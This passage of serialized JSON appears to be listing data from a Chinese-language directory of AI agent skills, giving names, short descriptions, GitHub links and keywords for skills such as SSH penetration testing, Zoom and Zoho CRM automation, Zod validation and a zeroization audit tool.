ssh-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fssh-penetration-testing\u002FSKILL.md",true,[],[68,77,93,120,139,166],{"skillNo":69,"name":70,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":74,"publishedAt":37},"01M6GDRVS6FXX3ESH0C9DW01C0","test_skill","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fscratch\u002Ftest_skill\u002FSKILL.md",[73],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[75,76],"Test Skill","test",{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":37},"01M6GDRQ40HX22MA6XWC31RHHK","zustand-store-ts","Create Zustand stores following established patterns with proper TypeScript types and middleware.","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fzustand-store-ts\u002FSKILL.md",[],[84,85,86,87,88,89,90,36,91,92],"zustand store ts","zustand","store","with","types","middleware","patterns","create","typescript",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":102,"publishedAt":37},"01M6GDRKEA0WE670SPFWX5GKCN","zoom-automation","Automate Zoom meeting creation, management, recordings, webinars, and participant tracking via Rube MCP (Composio). Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fzoom-automation\u002FSKILL.md",[99],{"categoryNo":100,"categoryName":101,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[103,104,105,106,107,108,109,110,111,112,113,114,115,116,36,117,118,119],"automation","zoom automation","zoom","first","Tools","search","MCP","via","meeting","automate","critical","creation","webinars","composio","recordings","management","tracking",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":127,"publishedAt":37},"01M6GDRFS1452PC71JQ38S24HR","zoho-crm-automation","Automate Zoho CRM tasks via Rube MCP (Composio): create\u002Fupdate records, search contacts, manage leads, and convert leads. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fzoho-crm-automation\u002FSKILL.md",[126],{"categoryNo":100,"categoryName":101,"taxonomyType":21,"taxonomyTypeDesc":22},[128,103,129,130,131,132,133,36,108,134,116,135,113,112,107,136,91,137,109,138],"crm automation","zoho crm","crm","zoho crm automation","zoho","leads","contacts","records","update","tasks","manage",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":148,"publishedAt":37},"01M6GDRCKQBAVTGHX5XBH26KPZ","zod-validation-expert","Expert in Zod — TypeScript-first schema validation. Covers parsing, custom errors, refinements, type inference, and integration with React Hook Form, Next.js, and tRPC.","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fzod-validation-expert\u002FSKILL.md",[145],{"categoryNo":146,"categoryName":147,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[149,150,151,152,153,92,154,155,156,157,158,159,87,160,161,162,163,36,164,165],"expert","zod","zod validation expert","validation","react","safe","parsing","errors","schema validation","react hook form","hook","trpc","form","type","next","schema","Next.js",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":173,"publishedAt":37},"01M6GDR658B08K4MY0RWD4A6EH","zeroize-audit","Detects missing zeroization of sensitive data in source code and identifies zeroization removed by compiler optimizations, with assembly-level analysis, and control-flow verification. Use for auditing C\u002FC++\u002FRust code handling secrets, keys, passwords, or other sensitive data.","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fzeroize-audit\u002FSKILL.md",[172],{"categoryNo":100,"categoryName":101,"taxonomyType":21,"taxonomyTypeDesc":22},[174,175,176,177,178,179,180,181,36,182,183,184,185,186,187,188,189,190,191,109],"zeroize audit","audit","write","passwords","get","project","c++","activate","assembly","read","Bash","secrets","analysis","data","flow","verification","code","rust"]